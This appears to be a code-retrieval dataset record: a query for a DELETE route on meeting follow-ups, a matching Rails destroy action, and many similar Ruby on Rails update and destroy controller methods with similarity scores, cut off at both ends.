else\n self.send_error 422\n end\n else\n self.send_error 401\n end\n end", "def update\n @fetmeeting = Fetmeeting.find(params[:id])\n\n respond_to do |format|\n if @fetmeeting.update_attributes(params[:fetmeeting])\n format.html { redirect_to @fetmeeting, notice: 'Fetmeeting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fetmeeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @meetup_comment = MeetupComment.find(params[:id])\n\n respond_to do |format|\n if @meetup_comment.update_attributes(params[:meetup_comment])\n format.html { redirect_to meetup_path(@meetup_comment.event_id), notice: 'Meetup comment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meetup_comment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_follow_up_flag\n redirect_to(root_url) && return unless current_user.can_edit_patient_monitoring_info?\n\n patient = current_user.get_patient(params.permit(:id)[:id])\n redirect_to(root_url) && return if patient.nil?\n\n update_follow_up_flag_fields(patient, params)\n end", "def update\n respond_to do |format|\n if meeting.save\n format.html { redirect_to meeting, flash: { success: 'Meeting updated.' } }\n format.xml { head :ok }\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user_follow_user = UserFollowUser.find(params[:id])\n\n respond_to do |format|\n if @user_follow_user.update_attributes(params[:user_follow_user])\n format.html { redirect_to @user_follow_user, notice: 'User follow user was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_follow_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @meetup_profile = MeetupProfile.find(params[:id])\n\n respond_to do |format|\n if @meetup_profile.update_attributes(params[:meetup_profile])\n format.html { redirect_to meetup_profile_path(@meetup_profile.id), notice: 'Meetup profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meetup_profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @meetuser.update(meetuser_params)\n format.html { redirect_to @meetuser, notice: 'Meetuser was successfully updated.' }\n format.json { render :show, status: :ok, location: @meetuser }\n else\n format.html { render :edit }\n format.json { render json: @meetuser.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @meeting = Meeting.find(params[:id])\n @meeting.meeting_time = params[:meeting][:meeting_time]\n respond_to do |format|\n if @meeting.update_attributes(params[:meeting])\n format.html { redirect_to club_meeting_path(params[:club_id],@meeting), notice: 'Meeting was successfully updated.' }\n format.json { head :ok }\n \n else\n format.html { render action: \"edit\" }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n \n end\n end\n end", "def update\n respond_to do |format|\n if @annual_meeting.update(annual_meeting_params)\n format.html { redirect_to @annual_meeting, notice: 'Annual meeting was successfully updated.' }\n format.json { render :show, status: :ok, location: @annual_meeting }\n else\n format.html { render :edit }\n format.json { render json: @annual_meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @meeting.update(meeting_params)\n format.html { redirect_to meetings_path, notice: 'La réunion a bien été modifiée.' }\n format.json { render :show, status: :ok, location: @meeting }\n else\n format.html { render :edit }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # if params[:attend].present?\n # @meetup_rsvp = MeetupRsvp.find(params[:id])\n # @meetup_rsvp.attend = params[:attend]\n # else\n @meetup_rsvp = MeetupRsvp.find(params[:id])\n\t @meetup_rsvp.rsvp = params[:rsvp]\n\t#end\n respond_to do |format|\n if @meetup_rsvp.update_attributes(params[:meetup_rsvp])\n format.html { redirect_to meetup_path(@meetup_rsvp.event_id), notice: 'Meetup rsvp was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meetup_rsvp.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @meeting_url = args[:meeting_url] if args.key?(:meeting_url)\n end", "def update\n @hack_tag_follow = HackTagFollow.find(params[:id])\n\n respond_to do |format|\n if @hack_tag_follow.update_attributes(params[:hack_tag_follow])\n format.html { redirect_to(@hack_tag_follow, :notice => 'Hack tag follow was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @hack_tag_follow.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @meeting = Meeting.find(params[:id])\n\n respond_to do |format|\n if @meeting.update_attributes(meeting_params)\n format.html { redirect_to weekly_calendar_url, notice: 'Meeting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @meeting_member = MeetingMember.find(params[:id])\n\n respond_to do |format|\n if @meeting_member.update_attributes(params[:meeting_member])\n format.html { redirect_to @meeting_member, :notice => 'Meeting member was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @meeting_member.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @meeting.update(meeting_params)\n format.html { redirect_to root_path, flash: {success: 'Meeting was successfully updated.'} } \n format.json { render :show, status: :ok, location: @meeting }\n else\n format.html { redirect_to edit_meeting_path, flash: {danger: \"Unable to edit meeting. \" + @meeting.errors.full_messages.join('. ')} }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_follow_up_flag_fields(patient, params)\n clear_flag = params.permit(:clear_flag)[:clear_flag]\n history_data = {}\n if clear_flag\n clear_flag_reason = params.permit(:clear_flag_reason)[:clear_flag_reason]\n clear_follow_up_flag(patient, patient.id, clear_flag_reason)\n else\n follow_up_reason = params.permit(:follow_up_reason)[:follow_up_reason]\n follow_up_note = params.permit(:follow_up_note)[:follow_up_note]\n\n # Handle creating history items based on the updates\n history_data = {\n created_by: current_user.email,\n patient: patient,\n initiator_id: patient.id,\n follow_up_reason: follow_up_reason,\n follow_up_note: follow_up_note,\n follow_up_reason_before: patient.follow_up_reason,\n follow_up_note_before: patient.follow_up_note\n }\n\n # Handle success or failure of updating a follow-up flag\n ActiveRecord::Base.transaction do\n # Apply and save updates to the db\n patient.update!(follow_up_reason: follow_up_reason, follow_up_note: follow_up_note)\n # Create history item on successful update\n History.follow_up_flag_edit(history_data)\n end\n end\n\n # Grab the patient IDs of houshold members to also update\n apply_to_household_ids = find_household_ids(patient, params)\n # If not applying to household, return\n return if apply_to_household_ids.empty?\n\n # Update selected group members if applying to household and ids are supplied\n if clear_flag\n apply_to_household_ids.each do |id|\n member = current_user.get_patient(id)\n next if member.nil?\n\n clear_flag_reason = params.permit(:clear_flag_reason)[:clear_flag_reason]\n clear_follow_up_flag(member, patient.id, clear_flag_reason)\n end\n else\n apply_to_household_ids.each do |id|\n member = current_user.get_patient(id)\n next if member.nil?\n\n history_data[:patient] = member\n history_data[:follow_up_reason_before] = member.follow_up_reason\n history_data[:follow_up_note_before] = member.follow_up_note\n\n # Handle success or failure of updating a follow-up flag\n ActiveRecord::Base.transaction do\n # Apply and save updates to the db\n member.update!(follow_up_reason: follow_up_reason, follow_up_note: follow_up_note)\n # Create history item on successful update\n History.follow_up_flag_edit(history_data)\n end\n end\n end\n end", "def meeting_follow_up_params\n params.require(:meeting_follow_up).permit(:employee_plan_id, :contact_person, :contact_no, :follow_up_response, :date, :time, :next_date, :next_time)\n end", "def update\n goal = Goal.find params[:id]\n if goal.update(goal_params)\n render json: goal, status: 200\n else\n render json: goal.errors.full_messages, status: 422\n end\n end", "def update\n @user_follow = UserFollow.find(params[:id])\n\n respond_to do |format|\n if @user_follow.update_attributes(params[:user_follow])\n format.html { redirect_to(@user_follow, :notice => 'User follow was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_follow.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @routine_interview = RoutineInterview.find(params[:id])\n @interview = Interview.find(@routine_interview.interview_id)\n\n respond_to do |format|\n if @routine_interview.update_attributes(params[:routine_interview]) && @interview.update_attributes(params[:interview])\n format.html { redirect_to @routine_interview, notice: 'Followup interview was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @routine_interview.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @horse_meet.update(horse_meet_params)\n format.html { redirect_to @horse_meet, notice: 'Horse meet was successfully updated.' }\n format.json { render :show, status: :ok, location: @horse_meet }\n else\n format.html { render :edit }\n format.json { render json: @horse_meet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @lovedone = Lovedone.find(params[:lovedone_id]) \n @follower = @lovedone.followers.find(params[:id]) \n respond_to do |format|\n if @follower.update(follower_params)\n #format.html { redirect_to @follower, notice: 'Follower was successfully updated.' }\n #format.html { redirect_to([@follower.lovedone,@follower]), notice: 'Follower was successfully updated.' }\n #format.html { redirect_to lovedone_followers_url, notice: 'Follower was successfully updated.' }\n #format.html { redirect_to lovedone_followers_url(@lovedone), notice: 'Follower was successfully updated.' }\n format.html { redirect_to lovedone_followers_path(@lovedone), notice: 'Follower has been successfully updated.' }\n \n format.json { render :show, status: :ok, location: @follower }\n else\n format.html { render :edit }\n format.json { render json: @follower.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @album_follow.update(album_follow_params)\n format.html { redirect_to @album_follow, notice: 'Album follow was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @album_follow.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @sponsor_meeting = SponsorMeeting.find(params[:id])\n\n respond_to do |format|\n if @sponsor_meeting.update_attributes(params[:sponsor_meeting])\n format.html { redirect_to @sponsor_meeting, notice: 'Sponsor meeting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sponsor_meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @meeting = Meeting.find(params[:id])\n\n respond_to do |format|\n if @meeting.update_attributes(params[:meeting])\n format.html { redirect_to(@meeting, :notice => t(:meeting_notice_correctly_updated)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @meeting.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @followuptype = Followuptype.find(params[:id])\n respond_to do |format|\n if @followuptype.update(followuptype_params)\n format.html { redirect_to followuptypes_path }\n format.json\n format.js\n else\n format.js\n format.html { render :edit }\n format.json \n end\n end\n end", "def update\n @meet_up_comment = MeetUpComment.find(params[:id])\n @meet_up_comment.user = current_user\n # We don't need to set @meet_up_comment.conference_confirm\n # because the user will always be set to the current user\n # and #meet_up_and_user_conferences_must_match validation\n # on MeetUpComment will ensure that the meet_up will also\n # belong to the same conference.\n\n respond_to do |format|\n if @meet_up_comment.update_attributes(params[:meet_up_comment])\n flash[:notice] = 'Meet up comment was successfully updated.'\n format.html { render :show }\n else\n flash[:error] = 'Failed to update meetup comment.'\n format.html { render action: \"edit\" }\n end\n end\n end", "def update\n @user_follow_tag = UserFollowTag.find(params[:id])\n\n respond_to do |format|\n if @user_follow_tag.update_attributes(params[:user_follow_tag])\n format.html { redirect_to @user_follow_tag, notice: 'User follow tag was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_follow_tag.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user = User.find(params[:user_id])\n @mycontact = @user.mycontacts.find(params[:mycontact_id])\n @meeting= @mycontact.meetings.find(params[:id])\n respond_to do |format|\n if @meeting.update(meeting_params)\n format.html { redirect_to user_mycontact_meetings_path, notice: 'Meeting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @meeting_code = args[:meeting_code] if args.key?(:meeting_code)\n @meeting_url = args[:meeting_url] if args.key?(:meeting_url)\n end", "def update\n @meeting = Meeting.find(params[:id])\n if @meeting.update_attributes(meeting_params)\n flash[:info] = \"successfully updated\"\n redirect_to meetings_path\n else\n flash[:info] = \"fail to update\"\n render :edit\n end\n end", "def update\n respond_to do |format|\n if @pushup_reminder.update_attributes(params[:pushup_reminder])\n format.html { redirect_to [@user, @pushup_reminder], notice: 'Pushup reminder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pushup_reminder.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @participant.update_attributes(participant_update_params)\n respond_with(@participant)\n end", "def update\n @meeting_point = MeetingPoint.find(params[:id])\n\n respond_to do |format|\n if @meeting_point.update_attributes(params[:meeting_point])\n format.html { redirect_to @meeting_point, notice: 'Meeting point was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meeting_point.errors, status: :unprocessable_entity }\n end\n end\n end", "def update \n # @follow.new(follow_params)\n @user = User.find(session[:user_id])\n @user.follows.build(follower_id: @user.id, followee_id: params[:id])\n redirect_to followees_path\n # needs validation \n end", "def update\n respond_to do |format|\n\n if performing_follow?\n #unfollow or follow depending on what in the database\n @profile.user.toggle_followed_by(current_user)\n\n\n\n elsif @profile.update(profile_params)\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @profile }\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def update\n @title = \"ミーティング編集\"\n @catch_phrase = \"  ミーティングの編集及び議事録の登録・編集を行います。\"\n @notice = \"\"\n \n @meeting = Meeting.find(params[:id])\n @projects = Project.joins('INNER JOIN project_users ON project_users.project_id = projects.id').where('project_users.user_id = ?', current_user.id).order(\"name ASC\")\n @users = User.where(\"id > 0\").order(\"user_name ASC\")\n\n respond_to do |format|\n if @meeting.update_attributes(params[:meeting])\n format.html { redirect_to @meeting, notice: '更新が完了しました!' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @followership = Followership.find(params[:id])\n\n respond_to do |format|\n if @followership.update_attributes(params[:followership])\n flash[:notice] = 'Followership was successfully updated.'\n format.html { redirect_to(@followership) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @followership.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @site = Site.first\n @meetup_info = @site.meetup_info\n\n respond_to do |format|\n if @meetup_info.update(meetup_info_params)\n format.html { redirect_to backstage_index_path, notice: 'meetup_info was successfully updated.' }\n # format.json { render :show, status: :ok, location: @meetup_info }\n else\n format.html { render :edit }\n # format.json { render json: @meetup_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @youbride.update(youbride_params)\n format.html { redirect_to @youbride, notice: 'Youbride was successfully updated.' }\n format.json { render :show, status: :ok, location: @youbride }\n else\n format.html { render :edit }\n format.json { render json: @youbride.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @followup_intent_name = args[:followup_intent_name] if args.key?(:followup_intent_name)\n @parent_followup_intent_name = args[:parent_followup_intent_name] if args.key?(:parent_followup_intent_name)\n end", "def update!(**args)\n @followup_intent_name = args[:followup_intent_name] if args.key?(:followup_intent_name)\n @parent_followup_intent_name = args[:parent_followup_intent_name] if args.key?(:parent_followup_intent_name)\n end", "def update\n @trip = Trip.find(params[:id])\n #params[:trip][:participations] ||=[]\n respond_to do |format|\n if @trip.owner_id == current_user.id && @trip.update_attributes(params[:trip])\n flash[:notice] = 'Trip was successfully updated.'\n format.html { redirect_to(@trip) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @trip.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @title_obtaineds = TitleObtained.all\n respond_to do |format|\n if @type_of_meeting.update(type_of_meeting_params.merge(pre_attendance_meetings_attributes: pre_attendance_meeting_params))\n format.html {redirect_to @type_of_meeting, notice: 'Type of meeting was successfully updated.'}\n format.json {render :show, status: :ok, location: @type_of_meeting}\n else\n format.html {render :edit}\n format.json {render json: @type_of_meeting.errors, status: :unprocessable_entity}\n end\n end\n end", "def update\n @meeting = Meeting.find(params[:id])\n\n respond_to do |format|\n if @meeting.update_attributes(params[:meeting])\n flash[:notice] = 'Meeting aggiornato con successo.'\n format.html { redirect_to(@meeting) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @meeting.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @participant.update(participant_update_params)\n respond_with(@participant)\n end", "def update\n respond_to do |format|\n if @user_following.update(user_following_params)\n format.html { redirect_to @user_following, notice: 'User following was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_following }\n else\n format.html { render :edit }\n format.json { render json: @user_following.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @meeting = Meeting.find(params[:id])\n\n respond_to do |format|\n if @meeting.update_attributes(params[:meeting])\n flash[:notice] = 'Meeting was successfully updated.'\n format.html { redirect_to(@meeting) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @meeting.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_incidentfollowup\n @incidentfollowup = Incidentfollowup.find(params[:id])\n end", "def update\n respond_to do |format|\n if @meeting_time.update(meeting_time_params)\n format.html { redirect_to @meeting_time, notice: 'Meeting time was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @meeting_time.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.71014017", "0.7076065", "0.68999743", "0.67279977", "0.6709095", "0.6685333", "0.6641011", "0.66218376", "0.662026", "0.66142136", "0.65985835", "0.6596244", "0.6591943", "0.65765494", "0.6532943", "0.6532943", "0.65260845", "0.65260845", "0.6520211", "0.650386", "0.6455042", "0.64287347", "0.63939947", "0.63726467", "0.6368771", "0.6349188", "0.6321929", "0.6305789", "0.6282133", "0.62782323", "0.62687445", "0.62644047", "0.62637335", "0.626308", "0.625839", "0.62563574", "0.62470186", "0.6245864", "0.6242631", "0.6216677", "0.6214613", "0.6210011", "0.6193252", "0.61916894", "0.61916894", "0.61916894", "0.61916894", "0.61865455", "0.6184054", "0.61831516", "0.61801064", "0.6178958", "0.61641103", "0.6160979", "0.6157212", "0.61519367", "0.61252075", "0.61025345", "0.60982734", "0.60952896", "0.60881895", "0.60838497", "0.60790986", "0.60697335", "0.6067276", "0.6065873", "0.6063587", "0.6059468", "0.60573816", "0.6052981", "0.6043432", "0.60387707", "0.6035757", "0.603543", "0.6033636", "0.60326195", "0.60187316", "0.60043216", "0.6004262", "0.5993327", "0.5987297", "0.59748816", "0.5972015", "0.59553355", "0.5954314", "0.5941429", "0.59373593", "0.59340054", "0.5929921", "0.5922371", "0.591729", "0.5915771", "0.5914405", "0.5911597", "0.5911498", "0.5907628", "0.5907405", "0.5906427", "0.59011096", "0.5897144" ]
0.77513665
0
DELETE /meeting_follow_ups/1 DELETE /meeting_follow_ups/1.json
def destroy @meeting_follow_up.destroy respond_to do |format| format.html { redirect_to meeting_follow_ups_url, notice: 'Meeting follow up was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @meetup = Meetup.find(params[:id])\n @meetup.destroy\n\n respond_to do |format|\n format.html { redirect_to meetups_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @followup = Followup.find(params[:id])\n @followup.destroy\n\n respond_to do |format|\n format.html { redirect_to followups_url }\n format.json { head :ok }\n end\n end", "def destroy\n return if new_record?\n \n @api.delete \"/meetings/#{shortcode_url}.json\"\n end", "def destroy\n @followup_interview = FollowupInterview.find(params[:id])\n @followup_interview.destroy\n\n respond_to do |format|\n format.html { redirect_to followup_interviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @followup.destroy\n respond_to do |format|\n format.html { redirect_to @job, notice: 'Follow Up was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @incidentfollowup.destroy\n respond_to do |format|\n format.html { redirect_to incidentfollowups_url, notice: 'Incidentfollowup was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meetup.destroy\n respond_to do |format|\n format.html { redirect_to meetups_url, notice: \"Meetup was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @meetup.destroy\n respond_to do |format|\n format.html { redirect_to meetups_url, notice: 'Meetup was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize! :destroy, @rec_event_follow, :message => 'Not authorized as an administrator.'\n @rec_event_follow.destroy\n respond_to do |format|\n format.html { redirect_to rec_event_follows_url }\n format.json { head :no_content }\n end\n end", "def delete_follows\n \t@follower = User.find(params[:id])\n \t@followed = User.find(params[:follows_id])\n \t\n \tif @follower.follows.delete(@followed)\n \t\t\n \telse\n \t\trender json @follower.errors\n \tend\n end", "def destroy\n @follow = Follow.find(params[:id])\n @follow.destroy\n\n respond_to do |format|\n format.html { redirect_to follows_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @meetup_profile = MeetupProfile.find(params[:id])\n @meetup_profile.destroy\n\n respond_to do |format|\n format.html { redirect_to request.referer }\n format.json { head :no_content }\n end\n end", "def delete_follows\n\n\t@follower = User.find(params[:id])\n\t@followed = User.find(params[:follows_id])\n\n\t@follower.follows.delete(@followed)\n\t\thead :no_content\n\t\t\n\tend", "def test_stop_following_a_user\r\n # delete \"/follows/destroy.json\", :api_key => 'testapikey',\r\n # :followee_id => 3\r\n # assert_response :success\r\n end", "def destroy\n @api_v1_follower = Api::V1::Follower.where('follower_id =? and user_id =?', @current_user.id, params[:id]).first\n if @api_v1_follower.destroy\n head :no_content\n else \n render json: { error: 'not allowed' }, status: 401\n end\n end", "def destroy\n @users_meeting = UsersMeeting.find(params[:id])\n @users_meeting.destroy\n\n respond_to do |format|\n format.html { redirect_to users_meetings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting.destroy\n respond_to do |format|\n format.html { redirect_to meetings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @request_meeting = RequestMeeting.find(params[:id])\n @request_meeting.destroy\n\n respond_to do |format|\n format.html { redirect_to request_meetings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @follow.destroy\n respond_to do |format|\n format.html { redirect_to follows_url, notice: 'Follow was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @follow.destroy\n respond_to do |format|\n format.html { redirect_to follows_url, notice: 'Follow was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meal_meeting = MealMeeting.find(params[:id])\n @meal_meeting.destroy\n\n respond_to do |format|\n format.html { redirect_to meal_meetings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = Meetup.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to meetups_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @fetmeeting = Fetmeeting.find(params[:id])\n @fetmeeting.destroy\n\n respond_to do |format|\n format.html { redirect_to fetmeetings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @follower = Follower.find(params[:id])\n @follower.destroy\n\n respond_to do |format|\n format.html { redirect_to followers_url }\n format.json { head :no_content }\n end\n end", "def unfollow\r\n @relationship = Relationship.where(follower_id: current_user.id, followed_id: params[:followed_id]).first\r\n @relationship.create_activity key: 'relationship.unfollow', owner: current_user, recipient: User.find(params[:followed_id]) \r\n @relationship.destroy\r\n render json: { message: \"Relationship destroyed successfully\" }\r\n end", "def destroy\n head 404\n # @api_v1_following = Api::V1::Follower.where('following_id =? and user_id =?', @current_user.id, params[:id]).first\n # if @api_v1_following.destroy\n # head :no_content\n # else \n # render json: { error: 'not allowed' }, status: 401\n # end\n end", "def destroy\n @meeting = Meeting.find(params[:id])\n @meeting.destroy\n\n respond_to do |format|\n format.html { redirect_to meetings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting = Meeting.find(params[:id])\n @meeting.destroy\n\n respond_to do |format|\n format.html { redirect_to meetings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting = Meeting.find(params[:id])\n @meeting.destroy\n\n respond_to do |format|\n format.html { redirect_to meetings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @follow_up_type.destroy\n respond_to do |format|\n format.html { redirect_to follow_up_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting = Meeting.find(params[:id])\n @meeting.destroy\n respond_to do |format|\n format.html { redirect_to meetings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting.destroy\n respond_to do |format|\n format.html { redirect_to meetings_url, notice: 'Reunion borrada :(' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting_member = MeetingMember.find(params[:id])\n @meeting_member.destroy\n\n respond_to do |format|\n format.html { redirect_to meeting_members_url }\n format.json { head :ok }\n end\n end", "def destroy\n @meeting.destroy\n respond_to do |format|\n format.html { redirect_to request.referer, notice: 'Meeting was successfully destroyed.' }\n format.json { head :no_content }\n end\n\n end", "def destroy\n @meetup_comment = MeetupComment.find(params[:id])\n @meetup_comment.destroy\n\n respond_to do |format|\n format.html { redirect_to request.referer }\n format.json { head :no_content }\n end\n end", "def destroy\n delete_meetings_from_users\n @meeting.destroy\n respond_to do |format|\n format.html { redirect_to meetings_url, notice: 'Meeting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @pushup_reminder.destroy\n\n respond_to do |format|\n format.html { redirect_to pushup_reminders_url }\n format.json { head :no_content }\n end\n end", "def destroy\n # @meeting.destroy\n respond_to do |format|\n format.html { redirect_to meetings_url, notice: 'Meeting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting.destroy\n respond_to do |format|\n format.html { redirect_to user_holder_meetings_url, notice: 'Meeting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting.destroy\n respond_to do |format|\n format.html { redirect_to user_meetings_path, notice: 'Meeting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting = Meeting.find(params[:id])\n @meeting.destroy\n\n respond_to do |format|\n format.html { redirect_to club_meetings_path(params[:club_id]) }\n format.json { head :ok }\n end\n end", "def destroy\n @follow.destroy\n respond_to do |format|\n format.html { redirect_back fallback_location: root_path, notice: 'You have unfollowed this user!' }\n format.json { head :no_content }\n end\n end", "def destroy\n @users_meeting.destroy\n respond_to do |format|\n format.html { redirect_to users_meetings_url, notice: 'Users meeting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meet = Meet.find(params[:id])\n @meet.destroy\n @track = @meet.track\n respond_to do |format|\n format.html { redirect_to track_url(:id => @track.id) }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting_time.destroy\n respond_to do |format|\n format.html { redirect_to meeting_times_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting.destroy\n respond_to do |format|\n format.html { redirect_to meetings_url, notice: 'La réunion a bien été détruite.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meetup = Meetup.find_by(id: params[:id])\n @meetup.destroy\n \n redirect_to user_meetups_url(current_user)\n end", "def destroy\n @meetuser.destroy\n respond_to do |format|\n format.html { redirect_to meetusers_url, notice: 'Meetuser was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @followuptype.destroy\n respond_to do |format|\n format.html { redirect_to followuptypes_url, notice: 'Followuptype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting_point = MeetingPoint.find(params[:id])\n @meeting_point.destroy\n\n respond_to do |format|\n format.html { redirect_to meeting_points_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting = Meeting.find(params[:id])\n @meeting.destroy\n\t\t@title = \"Usuwanie spotkania\"\n respond_to do |format|\n format.html { redirect_to meetings_url }\n format.json { head :ok }\n end\n end", "def destroy\n @follow = Follow.where(:follower_id => session[:user_id], :followee_id => params[:id])\n @follow.destroy\n\n respond_to do |format|\n format.html { redirect_to :back, notice: \"You are now longer following #{User.find_by_id(params[:id]).username}\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Meeting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting = Meeting.find(params[:id])\n if !checkme? @meeting then return end\n \n @meeting.destroy\n\n respond_to do |format|\n format.html { redirect_to meetings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting.destroy\n respond_to do |format|\n format.html { redirect_to meetings_url }\n end\n end", "def destroy\n @meeting.destroy\n respond_to do |format|\n format.html { redirect_to meetings_url, notice: 'Meeting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting.destroy\n respond_to do |format|\n format.html { redirect_to meetings_url, notice: 'Meeting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting.destroy\n respond_to do |format|\n format.html { redirect_to meetings_url, notice: 'Meeting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting.destroy\n respond_to do |format|\n format.html { redirect_to meetings_url, notice: 'Meeting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting.destroy\n respond_to do |format|\n format.html { redirect_to meetings_url, notice: 'Meeting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting.destroy\n respond_to do |format|\n format.html { redirect_to meetings_url, notice: 'Meeting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting.destroy\n respond_to do |format|\n format.html { redirect_to meetings_url, notice: 